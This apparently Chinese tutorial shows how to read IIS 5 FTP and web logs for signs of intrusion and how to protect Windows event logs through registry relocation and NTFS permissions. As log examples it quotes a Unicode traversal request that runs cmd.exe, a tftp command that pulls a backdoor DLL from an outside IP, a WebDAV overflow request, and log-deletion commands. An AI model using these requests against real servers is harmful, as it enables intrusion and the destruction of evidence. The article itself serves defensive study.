1．FTP日志分析
　　FTP日志和WWW日志在默認情況下，每天生成一個日志文件，包含了該日的一切記錄，文件名通常為ex（年份）（月份）（日期）。例如ex040419，就是2004年4月19日產生的日志，用記事本可直接打開，普通的有入侵行為的日志一般是這樣的：
#Software: Microsoft Internet Information Services 5.0（微軟IIS5.0）
#Version: 1.0 （版本1.0）
#Date: 20040419 0315 （服務啟動時間日期）
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331（IP地址為127.0.0.1用戶名為administator試圖登錄）
0318 127.0.0.1 [1]PASS – 530（登錄失敗）
032:04 127.0.0.1 [1]USER nt 331（IP地址為127.0.0.1用戶名為nt的用戶試圖登錄）
032:06 127.0.0.1 [1]PASS – 530（登錄失敗）
032:09 127.0.0.1 [1]USER cyz 331（IP地址為127.0.0.1用戶名為cyz的用戶試圖登錄）
0322 127.0.0.1 [1]PASS – 530（登錄失敗）
0322 127.0.0.1 [1]USER administrator 331（IP地址為127.0.0.1用戶名為administrator試圖登錄）
0324 127.0.0.1 [1]PASS – 230（登錄成功）
0321 127.0.0.1 [1]MKD nt 550（新建目錄失敗）
0325 127.0.0.1 [1]QUIT – 550（退出FTP程序）
　　從日志里就能看出IP地址為127.0.0.1的用戶一直試圖登錄系統，換了四次用戶名和密碼才成功，管理員立即就可以得知這個IP至少有入侵企圖！而他的入侵時間、IP地址以及探測的用戶名都很清楚的記錄在日志上。如上例入侵者最終是用Administrator用戶名進入的，那么就要考慮此用戶名是不是密碼失竊？還是被別人利用？接下來就要想想系統出什么問題了。
　　2．WWW日志分析
　　WWW服務同FTP服務一樣，產生的日志也是在%systemroot%sys tem32LogFilesW3SVC1目錄下，默認是每天一個日志文件。這里需要特別說明一下，因為Web的日志和其他日志不同，它的分析要細致得多，需要管理員有豐富的入侵、防護知識，并且要足夠的細心，不然，很容易遺漏那種很簡單的日志，而通常這樣的日志又是非常關鍵的。由于我們不可能一個一個分析，所以這里舉個簡單例子：
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

　　通過分析第六行，可以看出2004年5月19日，IP地址為192.168.1.26的用戶通過訪問IP地址為192.168.1.37機器的80端口，查看了一個頁面iisstart.asp，這位用戶的瀏覽器為compatible;+MSIE+5.0;+Windows+98+DigExt，有經驗的管理員就可通過安全日志、FTP日志和WWW日志來確定入侵者的IP地址以及入侵時間。
　　對現在非常常見的SQL注入式攻擊，通過對put、get的檢查，也可以大概判斷是那個頁面出了問題，從而修補。
3．HTTPD事務日志的分析

　　Microsoft的IIS 5自公布到現在，被黑客利用的漏洞多不勝數，像.ida/.idq、unicode、WebDavx3和一些未知的漏洞，我們分析日志的目的就是為了分析黑客入侵的行為，對于沒有打好補丁包的系統被黑客成功入侵的日志記錄分別對應如下。為了給大家介紹一個比較醒目的介紹，專門配置了個“古老”的服務器，用舊漏洞給大家做個演示，很容易觸類旁通就懂其它了。

　　（1）unicode漏洞入侵日志記錄

　　這個是個非常經典的漏洞了，要找這樣的服務器估計得去國外慢慢找了，但是因為它的日志是最經典的一個，所以我們這里特別拿它來做個示范。

　　我們打開IIS5的Web服務的日志文件,日志文件默認位置在%systemroot%system32LogFiles文件夾下，如圖１所示是一個典型的Unicode漏洞入侵行為的日志記錄，對于正常的Web訪問，是通過80端口用GET命令獲取Web數據，但通過非法的字符編碼可繞過字符驗證而得到不應該得到的信息。但補上相應的補丁可堵上此漏洞。如圖一所示。

　　我們配合入侵來看下這樣的記錄：通過下面的編碼我們在入侵的時候可以查看目標機的目錄文件：

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

　　則日志中會記錄下此訪問行為：

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -

　　看到了嗎？我們的日志中記錄地一清二楚，來自192.168.0.1的攻擊者查看我們的目錄。下面一行是向我們的機器傳送后門程序的日志記錄：

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:httpodbc.dll
502 –

　　看到了吧？記錄非常詳細的，系統里面那個程序在響應都記錄了下來，這樣我們分析入侵行為就好辦了。

　　（2）WebDavx3遠程溢出日志記錄

　　過去一段時間有名的Wevdavx3漏洞是應用最廣泛的，如果系統遭受了此遠程溢出的攻擊行為，則日志記錄如圖二所示。

2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……

　　這表示我們的Web服務受到了來自192.168.0.218的攻擊，并鎖定(即關閉)了WEB服務，后面的一些亂碼字符是在溢出攻擊時使用的偏移位猜過程。

　　上面的幾種日雜都記錄了有入侵行為的IP地址，但此IP地址說不定就是攻擊者使用了跳板，也就是說此IP很可能是“肉雞”而不是攻擊者的IP，遇到這樣的情況，我們再查看其他日志文件，還是有可能追查出攻擊者的位置的，但這個就完全靠管理員的經驗了。

　　4．日志文件的移位保護

　　通過上面的幾個方法，大家應該可以檢測普通的系統攻擊了，但話說回來，如果上面的攻擊任何一個成功了，那現在我們都看不到日志了，早被入侵者清空了，所以，為了防患于未然，我們還是針對常見的刪除日志的方法，把日志挪挪吧。

　　好多文章介紹對事件日志移位能做到對系統系統很好的保護，移位雖是一種保護方法，但只要在命令行輸入dir c:*.evt/s，一下就可查找到事件日志位置，再刪除可容易了，那怎么辦呢？其實日志移位要通過修改注冊表來完成，找到注冊表HKEY_LOCAL_MACHINESYSTEM CurrentControlSet ServicesEventlog下面的Application、Security、System幾個子鍵，分別對應“應用程序日志”、“安全日志”、“系統日志”。如何修改呢？下面我們具體來看看Application子鍵：File項就是“應用程序日志”文件存放的位置，把此鍵值改為要存放日志文件的文件夾，我們再把%systemroot%system32configappevent.evt文件拷貝到此文件夾，再重啟機器就可以了。

　　在此介紹移位的目的是為了充分利用Windows 2000在NTFS格式下的“安全”屬性，如果不移位也無法對文件進行安全設置操作，右擊移位后的“文件夾選擇屬性”，進入“安全”選項卡，不選擇“允許將來自父系的可繼承權限傳播給該對象”，添加“System”組，分別給Everyone組“讀取”權限，System組選擇除“完全控制”和“修改”的權限。然后再將系統默認的日志文件512KB大小改為你所想要的大小，如20MB。進行了上面的設置后，直接通過Del C:*.Evt/s/q來刪除是刪不掉的，相對要安全很多了。